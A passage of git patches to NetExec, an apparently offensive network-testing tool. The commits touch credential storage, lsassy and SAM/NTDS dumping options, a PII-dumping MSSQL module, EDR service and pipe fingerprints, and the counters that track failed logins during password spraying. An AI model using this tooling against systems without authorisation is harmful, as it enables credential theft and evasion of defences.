add_admin_user(self, credtype, username, secret, host_id=None, cred_id=None) add_links = [] creds_q = select(self.CredentialsTable) - if cred_id: # noqa: SIM108 + if cred_id: creds_q = creds_q.filter(self.CredentialsTable.c.id == cred_id) else: creds_q = creds_q.filter( diff --git a/nxc/protocols/winrm/database.py b/nxc/protocols/winrm/database.py index 5801d6a913..6a1eba3298 100644 --- a/nxc/protocols/winrm/database.py +++ b/nxc/protocols/winrm/database.py @@ -197,7 +197,7 @@ def add_admin_user(self, credtype, domain, username, password, host, user_id=Non add_links = [] creds_q = select(self.UsersTable) - if user_id: # noqa: SIM108 + if user_id: creds_q = creds_q.filter(self.UsersTable.c.id == user_id) else: creds_q = creds_q.filter( From 76433ab10ef164d24b414107f862e7246cd06edd Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 20 Mar 2026 07:30:35 -0400 Subject: [PATCH 123/165] Replace os.path with async safe anyio.Path --- nxc/protocols/rdp.py | 6 +++--- nxc/protocols/vnc.py | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 1fb99654e8..b00cb7ef52 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -1,7 +1,7 @@ import asyncio -import os from datetime import datetime from os import getenv +from anyio import Path from termcolor import colored from impacket.krb5.ccache import CCache @@ -572,7 +572,7 @@ async def screen(self): await asyncio.sleep(5) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + filename = Path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"Screenshot saved {filename}") @@ -595,7 +595,7 @@ async def nla_screen(self): await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + filename = Path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"NLA Screenshot saved {filename}") return diff --git a/nxc/protocols/vnc.py b/nxc/protocols/vnc.py index df66340da2..c6de7d2678 100644 --- a/nxc/protocols/vnc.py +++ b/nxc/protocols/vnc.py @@ -1,6 +1,6 @@ import asyncio -import os from datetime import datetime +from anyio import Path from termcolor import colored import socket import struct @@ -147,7 +147,7 @@ async def screen(self): await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + filename = Path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"Screenshot saved {filename}") From 7b3aed0036b5f7f6e3b855b4ff8df8bd36a6a361 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 20 Mar 2026 07:47:35 -0400 Subject: [PATCH 124/165] Await forever --- nxc/protocols/rdp.py | 4 ++-- nxc/protocols/vnc.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index b00cb7ef52..a565ac68a0 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -572,7 +572,7 @@ async def screen(self): await asyncio.sleep(5) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = Path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser() buffer.save(filename, "png") self.logger.highlight(f"Screenshot saved {filename}") @@ -595,7 +595,7 @@ async def nla_screen(self): await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = Path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser() buffer.save(filename, "png") self.logger.highlight(f"NLA Screenshot saved {filename}") return diff --git a/nxc/protocols/vnc.py b/nxc/protocols/vnc.py index c6de7d2678..7023a36e79 100644 --- a/nxc/protocols/vnc.py +++ b/nxc/protocols/vnc.py @@ -147,7 +147,7 @@ async def screen(self): await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = Path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser() buffer.save(filename, "png") self.logger.highlight(f"Screenshot saved {filename}") From 59272d58cf4e153b60a7d98243b82175c3c24754 Mon Sep 17 00:00:00 2001 From: Deft_ Date: Sat, 21 Mar 2026 13:19:49 +0100 Subject: [PATCH 125/165] Patches the insert error Signed-off-by: Deft_ --- nxc/protocols/mssql/database.py | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/mssql/database.py b/nxc/protocols/mssql/database.py index 2c3d0e6049..5bbe43454f 100755 --- a/nxc/protocols/mssql/database.py +++ b/nxc/protocols/mssql/database.py @@ -164,10 +164,22 @@ def add_credential(self, credtype, domain, username, password, pillaged_from=Non self.db_execute(q) # .first() else: for user in results: - # might be able to just remove this if check, but leaving it in for now - if not user[3] and not user[4] and not user[5]: - q = update(self.UsersTable).values(credential_data) # .returning(self.UsersTable.c.id) - results = self.db_execute(q) # .first() + cred_data = user._asdict() + if credtype is not None: + cred_data["credtype"] = credtype + if domain is not None: + cred_data["domain"] = domain + if username is not None: + cred_data["username"] = username + if password is not None: + cred_data["password"] = password + if pillaged_from is not None: + cred_data["pillaged_from_hostid"] = pillaged_from + + q = Insert(self.UsersTable) + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} + q = q.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns) + self.db_execute(q, [cred_data]) nxc_logger.debug(f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})") From 8a9102d84bebf7f2c5339f6ec1f5b40b721b8a83 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 22 Mar 2026 07:55:10 -0400 Subject: [PATCH 126/165] Fix lock file --- poetry.lock | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/poetry.lock b/poetry.lock index 64b5331d6d..0d35e05a8e 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.2.1 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.3.2 and should not be changed by hand. [[package]] name = "aardwolf" @@ -2990,4 +2990,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "25f60e7259f7357057bcd2bb0bcc33475123c141864172753791300d45a04698" +content-hash = "4773214f8e890051867849f6b1dee89bc10a814f26d36b3fe678b4482df6a077" From 6ca17061fa3d802624e3a362f3c94f3c7c56e74f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 22 Mar 2026 08:00:38 -0400 Subject: [PATCH 127/165] Update impacket --- poetry.lock | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/poetry.lock b/poetry.lock index 0d35e05a8e..1a8306bca3 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1124,7 +1124,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.14.0.dev0+20260318.215953.2c77435e" +version = "0.14.0.dev0+20260317.95020.1049826e" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -1148,7 +1148,7 @@ six = "*" type = "git" url = "https://github.com/Pennyw0rth/impacket" reference = "HEAD" -resolved_reference = "2c77435e4fe3f11fb07e13daf182e82aa83b149e" +resolved_reference = "1049826efbc556221cca17f94e9fd0b944b8c600" [[package]] name = "iniconfig" From 4795fbce134c4830958f21922a06cb2e06e09f3d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 22 Mar 2026 08:05:55 -0400 Subject: [PATCH 128/165] Fix ruff --- nxc/modules/mssql_cbt.py | 2 +- nxc/protocols/mssql/database.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/mssql_cbt.py b/nxc/modules/mssql_cbt.py index 63733cda1f..3968c4dab2 100644 --- a/nxc/modules/mssql_cbt.py +++ b/nxc/modules/mssql_cbt.py @@ -26,7 +26,7 @@ def on_login(self, context, connection): new_conn = tds.MSSQL(connection.host, connection.port, connection.conn.remoteName) new_conn.connect(connection.args.mssql_timeout) - if connection.kerberos: # noqa: SIM108 + if connection.kerberos: success = new_conn.kerberosLogin( None, connection.username, diff --git a/nxc/protocols/mssql/database.py b/nxc/protocols/mssql/database.py index 5bbe43454f..52d04459d2 100755 --- a/nxc/protocols/mssql/database.py +++ b/nxc/protocols/mssql/database.py @@ -1,6 +1,6 @@ import warnings -from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, update, delete +from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.exc import SAWarning from sqlalchemy.orm import declarative_base From ee20734b3632e6aaaed0952c25be0d307c10cde2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 22 Mar 2026 08:28:53 -0400 Subject: [PATCH 129/165] Fix auth with hashes --- nxc/modules/mssql_cbt.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/mssql_cbt.py b/nxc/modules/mssql_cbt.py index 3968c4dab2..bec1cec912 100644 --- a/nxc/modules/mssql_cbt.py +++ b/nxc/modules/mssql_cbt.py @@ -32,7 +32,7 @@ def on_login(self, context, connection): connection.username, connection.password, connection.targetDomain, - f"{connection.lmhash}:{connection.nthash}", + f"{connection.lmhash}:{connection.nthash}" if connection.lmhash and connection.nthash else None, connection.aesKey, connection.kdcHost, None, @@ -46,7 +46,7 @@ def on_login(self, context, connection): connection.username, connection.password, connection.targetDomain, - f"{connection.lmhash}:{connection.nthash}", + f"{connection.lmhash}:{connection.nthash}" if connection.lmhash and connection.nthash else None, not connection.args.local_auth, cbt_fake_value=b"" ) From 5e6bd51810fc28794949193d72b503427d219ae7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 22 Mar 2026 08:34:18 -0400 Subject: [PATCH 130/165] Should be lm or nt hash --- nxc/modules/mssql_cbt.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/mssql_cbt.py b/nxc/modules/mssql_cbt.py index bec1cec912..0558e5e910 100644 --- a/nxc/modules/mssql_cbt.py +++ b/nxc/modules/mssql_cbt.py @@ -32,7 +32,7 @@ def on_login(self, context, connection): connection.username, connection.password, connection.targetDomain, - f"{connection.lmhash}:{connection.nthash}" if connection.lmhash and connection.nthash else None, + f"{connection.lmhash}:{connection.nthash}" if connection.lmhash or connection.nthash else None, connection.aesKey, connection.kdcHost, None, @@ -46,7 +46,7 @@ def on_login(self, context, connection): connection.username, connection.password, connection.targetDomain, - f"{connection.lmhash}:{connection.nthash}" if connection.lmhash and connection.nthash else None, + f"{connection.lmhash}:{connection.nthash}" if connection.lmhash or connection.nthash else None, not connection.args.local_auth, cbt_fake_value=b"" ) From 1eb6c517d3d89e3bd9a0a52887e4e4a326b746e8 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 22 Mar 2026 11:29:45 -0400 Subject: [PATCH 131/165] Add like_search file input and disable preset option --- nxc/modules/mssql_dumper.py | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py index 5082437c5a..f52473ae6e 100644 --- a/nxc/modules/mssql_dumper.py +++ b/nxc/modules/mssql_dumper.py @@ -18,7 +18,8 @@ def options(self, context, module_options): """ SHOW_DATA Display the actual row data values of the matched columns (default: True) REGEX Semicolon-separated regex(es) to search for in **Cell Values** - LIKE_SEARCH Comma-separated list of column names to specifically look for + LIKE_SEARCH Comma-separated list or filename of column names to specifically look for + USE_PRESET Use a predefined set of regex patterns for common PII (default: True) SAVE Save the output to sqlite database (default: True) """ self.regex_patterns = [] @@ -32,7 +33,12 @@ def options(self, context, module_options): except re.error as e: context.log.fail(f"[!] Invalid regex pattern '{pattern}': {e}") like_input = module_options.get("LIKE_SEARCH", "") - self.like_search = [s.strip().lower() for s in like_input.split(",") if s.strip()] + if os.path.isfile(like_input): + with open(like_input) as f: + self.like_search = [line.strip().lower() for line in f if line.strip()] + else: + self.like_search = [s.strip().lower() for s in like_input.split(",") if s.strip()] + self.use_preset = module_options.get("USE_PRESET", "true").lower() in ["true", "1", "yes"] self.save = module_options.get("SAVE", "true").lower() in ["true", "1", "yes"] def pii(self): @@ -80,7 +86,11 @@ def on_login(self, context, connection): columns = connection.conn.sql_query(f"SELECT column_name FROM information_schema.columns WHERE table_name = '{table_name}'") # find matching columns - search_keys = self.pii() + self.like_search + search_keys = [] + if self.use_preset: + search_keys += self.pii() + if self.like_search: + search_keys += self.like_search matched = [col for col in columns if any(key in col["column_name"].lower() for key in search_keys)] if matched: column_str = ", ".join(f"[{c['column_name']}]" for c in matched) From 1f8d03e96f283ffc8bf75e0b9817ff855dd7e498 Mon Sep 17 00:00:00 2001 From: T1erno Date: Sun, 22 Mar 2026 22:30:25 -0600 Subject: [PATCH 132/165] Use connection.port variable on lsassy --- nxc/modules/lsassy.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/lsassy.py b/nxc/modules/lsassy.py index 10746efa0c..35d641c311 100644 --- a/nxc/modules/lsassy.py +++ b/nxc/modules/lsassy.py @@ -67,7 +67,7 @@ def on_admin_login(self, context, connection): session.get_session( address=host, target_ip=host, - port=445, + port=connection.port, lmhash=lmhash, nthash=nthash, username=username, From 31bdfe4a3a024d8852e1cdfcc75b5c04f7b57862 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 23 Mar 2026 06:26:23 -0400 Subject: [PATCH 133/165] Update lsassy --- poetry.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/poetry.lock b/poetry.lock index 1a8306bca3..1333c0919f 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1256,14 +1256,14 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" [[package]] name = "lsassy" -version = "3.1.15" +version = "3.1.16" description = "Python library to extract credentials from lsass remotely" optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "lsassy-3.1.15-py3-none-any.whl", hash = "sha256:a94ad00686fdd438214e4dabb931fbbb3a3b3703e1329f89eaffe4daa974c724"}, - {file = "lsassy-3.1.15.tar.gz", hash = "sha256:3b548ced043fa8f74e1ebbca65927de24da39e1e8c306a326aa3c5f58bc51fce"}, + {file = "lsassy-3.1.16-py3-none-any.whl", hash = "sha256:e2672e193815db96ddb3078c6bda1c3e96d425a1072690bf8b8fc17b417c8c2e"}, + {file = "lsassy-3.1.16.tar.gz", hash = "sha256:6948360f396c4c704643faadeff5fa5d18336ccc446806ad24e7937e531c57a3"}, ] [package.dependencies] From d7abaf287b6add436e4552cc6a814896d673558c Mon Sep 17 00:00:00 2001 From: A3-N Date: Tue, 24 Mar 2026 11:06:46 +0400 Subject: [PATCH 134/165] fix: add thread-safety to failed login counters --- nxc/connection.py | 31 ++++++++++++++++++------------- 1 file changed, 18 insertions(+), 13 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index 062b91c139..f4c3fc2387 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -5,7 +5,7 @@ import contextlib from os.path import isfile -from threading import BoundedSemaphore +from threading import BoundedSemaphore, Lock from functools import wraps from time import sleep from ipaddress import ip_address @@ -25,6 +25,7 @@ from impacket.krb5.ccache import CCache sem = BoundedSemaphore(1) +fail_lock = Lock() global_failed_logins = 0 user_failed_logins = {} @@ -315,26 +316,28 @@ def call_modules(self): def inc_failed_login(self, username): global global_failed_logins, user_failed_logins - if username not in user_failed_logins: - user_failed_logins[username] = 0 + with fail_lock: + if username not in user_failed_logins: + user_failed_logins[username] = 0 - user_failed_logins[username] += 1 - global_failed_logins += 1 - self.failed_logins += 1 + user_failed_logins[username] += 1 + global_failed_logins += 1 + self.failed_logins += 1 def over_fail_limit(self, username): global global_failed_logins, user_failed_logins - if global_failed_logins == self.args.gfail_limit: - return True + with fail_lock: + if global_failed_logins == self.args.gfail_limit: + return True - if self.failed_logins == self.args.fail_limit: - return True + if self.failed_logins == self.args.fail_limit: + return True - if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103 - return True + if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103 + return True - return False + return False def query_db_creds(self): """Queries the database for credentials to be used for authentication. @@ -498,6 +501,8 @@ def try_credentials(self, domain, username, owned, secret, cred_type, data=None) sleep(value) with sem: + if self.over_fail_limit(username): + return False if cred_type == "plaintext": if self.kerberos: self.logger.debug("Trying to authenticate using Kerberos") From 1ef7e792f0240ae331d1b210ce82b70a1a75e82c Mon Sep 17 00:00:00 2001 From: P'tit Snake Date: Wed, 25 Mar 2026 14:15:47 +0100 Subject: [PATCH 135/165] Update enum_av.py: add HarfangLab Hurukai EDR indicators Add detection for HarfangLab EDR agent via services and pipes, tested against a live Windows Server 2019 system with HarfangLab deployed. Signed-off-by: P'tit Snake --- nxc/modules/enum_av.py | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/nxc/modules/enum_av.py b/nxc/modules/enum_av.py index efd3ec9e27..b2d6550539 100644 --- a/nxc/modules/enum_av.py +++ b/nxc/modules/enum_av.py @@ -342,6 +342,21 @@ def LsarLookupNames(self, dce, policyHandle, service): {"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]} ] }, + { + "name": "HarfangLab EDR", + "services": [ + {"name": "hurukai", "description": "HarfangLab Hurukai Agent"}, + {"name": "Hurukai agent", "description": "HarfangLab Hurukai Agent Service"}, + {"name": "HarfangLab Hurukai agent", "description": "HarfangLab Hurukai Agent Program"}, + {"name": "hurukai-av", "description": "HarfangLab Hurukai Antivirus"}, + {"name": "hurukai-ui", "description": "HarfangLab Hurukai UI"} + ], + "pipes": [ + {"name": "hurukai-control", "processes": ["hurukai.exe"]}, + {"name": "hurukai-servicing", "processes": ["hurukai.exe"]}, + {"name": "hurukai-amsi", "processes": ["hurukai.exe"]} + ] + }, { "name": "Ivanti Security", "services": [ From ccbf41de7facdc64206f61dfad355f04c1b335b8 Mon Sep 17 00:00:00 2001 From: P'tit Snake Date: Wed, 25 Mar 2026 14:24:10 +0100 Subject: [PATCH 136/165] Update enum_av.py : Minor fix ( HarfangLab PR ) correction de tipo pour cortex EDR Signed-off-by: P'tit Snake --- nxc/modules/enum_av.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/enum_av.py b/nxc/modules/enum_av.py index b2d6550539..4bd45bbd83 100644 --- a/nxc/modules/enum_av.py +++ b/nxc/modules/enum_av.py @@ -267,7 +267,7 @@ def LsarLookupNames(self, dce, policyHandle, service): "name": "Cortex", "services": [ {"name": "xdrhealth", "description": "Cortex XDR Health Helper"}, - {"name": "cyserver", "description": " Cortex XDR"} + {"name": "cyserver", "description": "Cortex XDR"} ], "pipes": [] }, From ee652ba36bdc8eb17e3af2fb8f87d9f607b9a0cc Mon Sep 17 00:00:00 2001 From: P'tit Snake Date: Wed, 25 Mar 2026 14:25:34 +0100 Subject: [PATCH 137/165] Update enum_av.py : Minor fix ( HarfangLab PR ) tipo fix for EPClientUIService Signed-off-by: P'tit Snake --- nxc/modules/enum_av.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/modules/enum_av.py b/nxc/modules/enum_av.py index 4bd45bbd83..07fd5e4b50 100644 --- a/nxc/modules/enum_av.py +++ b/nxc/modules/enum_av.py @@ -259,7 +259,6 @@ def LsarLookupNames(self, dce, policyHandle, service): {"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"}, {"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"}, {"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"} - ], "pipes": [] }, From 6cfb52c3bde38a7be4d86d337def1662f78f03ed Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 25 Mar 2026 13:16:43 -0400 Subject: [PATCH 138/165] Just directly use arg and formatting --- nxc/protocols/smb.py | 5 ++--- nxc/protocols/smb/proto_args.py | 2 +- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index b234d0cd89..3270356d52 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1990,13 +1990,12 @@ def add_sam_hash(sam_hash, host_id): add_sam_hash.sam_hashes = 0 if self.remote_ops and self.bootkey: - history = getattr(self.args, "history", False) if self.args.sam == "regdump": SAM = RegSecretsSAMHashes( self.bootkey, remoteOps=self.remote_ops, perSecretCallback=lambda secret: add_sam_hash(secret, host_id), - history=history, + history=self.args.history, ) else: SAM_file_name = self.remote_ops.saveSAM() @@ -2004,7 +2003,7 @@ def add_sam_hash(sam_hash, host_id): SAM_file_name, self.bootkey, isRemote=True, - history=history, + history=self.args.history, perSecretCallback=lambda secret: add_sam_hash(secret, host_id), ) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 0f442a7b3e..6765559c24 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -34,10 +34,10 @@ def proto_args(parser, parents): cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump SAM hashes from target systems") cred_gathering_group.add_argument("--lsa", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump LSA secrets from target systems") ntds_arg = cred_gathering_group.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method") + cred_gathering_group.add_argument("--history", action="store_true", help="Also retrieve password history (NTDS.dit or SAM)") # NTDS options kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)") exclusive = cred_gathering_group.add_mutually_exclusive_group() - cred_gathering_group.add_argument("--history", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also retrieve password history (NTDS.dit or SAM)") enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit)") kerb_keys_arg.make_required = [ntds_arg] enabled_arg.make_required = [ntds_arg] From 623e6aa6b6749867beded6a663af8fe73512ec56 Mon Sep 17 00:00:00 2001 From: A3-N Date: Fri, 27 Mar 2026 21:18:08 +0400 Subject: [PATCH 139/165] removed outer check, no time save --- nxc/connection.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index f4c3fc2387..7c47a5aa94 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -484,8 +484,6 @@ def try_credentials(self, domain, username, owned, secret, cred_type, data=None) - NTLM-hash (/kerberos) - AES-key """ - if self.over_fail_limit(username): - return False if self.args.continue_on_success and owned: return False From 7fb80e6cc9353eaf784ad204df0e560e3af97b22 Mon Sep 17 00:00:00 2001 From: ledrypotato Date: Sat, 28 Mar 2026 18:01:32 +0100 Subject: [PATCH 140/165] Update search filter for computer accounts The userAccountControl search filter is a bit restrictive. I changed it from 4128 (32 - PASSWD_NOTREQD + 4096 - WORKSTATION_TRUST_ACCOUNT) to only 4096 since "After a computer account has joined the domain, it will just have the WORKSTATION_TRUST_ACCOUNT flag set (4096)" - https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts Signed-off-by: ledrypotato --- nxc/modules/pre2k.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index 8150c59560..9fb7da9bb8 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -22,8 +22,8 @@ def options(self, context, module_options): """No options available""" def on_login(self, context, connection): - # Define the search filter for pre-created computer accounts - search_filter = "(&(objectClass=computer)(userAccountControl=4128))" + # Define the search filter for computer accounts + search_filter = "(&(objectClass=computer)(userAccountControl=4096))" attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"] context.log.info(f"Using search filter: {search_filter}") @@ -39,8 +39,8 @@ def on_login(self, context, connection): for computer in results: context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}") - # Check if the account is a pre-created computer account - if int(computer["userAccountControl"]) == 4128: # 4096 | 32 + # Check if the account is a computer account (WORKSTATION_TRUST_ACCOUNT) + if int(computer["userAccountControl"]) == 4096: computers.append(computer["sAMAccountName"]) context.log.debug(f"Added computer: {computer['sAMAccountName']}") From 4d112e79526874c511e79f298e732f614a17240e Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Mon, 30 Mar 2026 12:59:18 +0200 Subject: [PATCH 141/165] abort rid_brute on invalid connection after failed login --- nxc/protocols/mssql.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 66395530e4..af87e67cd9 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -423,6 +423,9 @@ def handle_mssql_reply(self): def rid_brute(self, max_rid=None): entries = [] + if self.conn.lastError: + self.logger.fail(f"Cannot perform RID bruteforce due to invalid connection: {self.conn.lastError}") + return entries if not max_rid: max_rid = int(self.args.rid_brute) From a1f3aaaee1d2d28d0be66547ff6f861cf7147769 Mon Sep 17 00:00:00 2001 From: termanix Date: Mon, 30 Mar 2026 14:41:16 +0300 Subject: [PATCH 142/165] Attempt to resolve and open target user; abort if not found or not accessible. Preventing for trying to change (failed: rpc_x_bad_stub_data) --- nxc/modules/change-password.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/change-password.py b/nxc/modules/change-password.py index 43187efe79..fca7faa42c 100644 --- a/nxc/modules/change-password.py +++ b/nxc/modules/change-password.py @@ -129,7 +129,7 @@ def on_login(self, context, connection): def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash): # Reset the password for a different user if target_username != connection.username: - user_handle = self._hSamrOpenUser(connection, target_username) + if not (user_handle := self._hSamrOpenUser(connection, target_username)): return False samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash) context.log.success(f"Successfully changed password for {target_username}") else: @@ -139,7 +139,7 @@ def _smb_samr_change(self, context, connection, target_username, target_domain, samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash) else: # Change the password with new hash - user_handle = self._hSamrOpenUser(connection, target_username) + if not (user_handle := self._hSamrOpenUser(connection, target_username)): return False samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash) context.log.highlight("Note: Target user must change password at next logon.") context.log.success(f"Successfully changed password for {target_username}") From 7c97ed133cc98ac8db9eb6483742751156b92a3a Mon Sep 17 00:00:00 2001 From: termanix Date: Mon, 30 Mar 2026 14:47:26 +0300 Subject: [PATCH 143/165] fix ruff. That changes for preventing unnecessary RPC calls --- nxc/modules/change-password.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/nxc/modules/change-password.py b/nxc/modules/change-password.py index fca7faa42c..8a213991ec 100644 --- a/nxc/modules/change-password.py +++ b/nxc/modules/change-password.py @@ -129,7 +129,9 @@ def on_login(self, context, connection): def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash): # Reset the password for a different user if target_username != connection.username: - if not (user_handle := self._hSamrOpenUser(connection, target_username)): return False + user_handle = self._hSamrOpenUser(connection, target_username) + if not user_handle: + return False samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash) context.log.success(f"Successfully changed password for {target_username}") else: @@ -139,7 +141,9 @@ def _smb_samr_change(self, context, connection, target_username, target_domain, 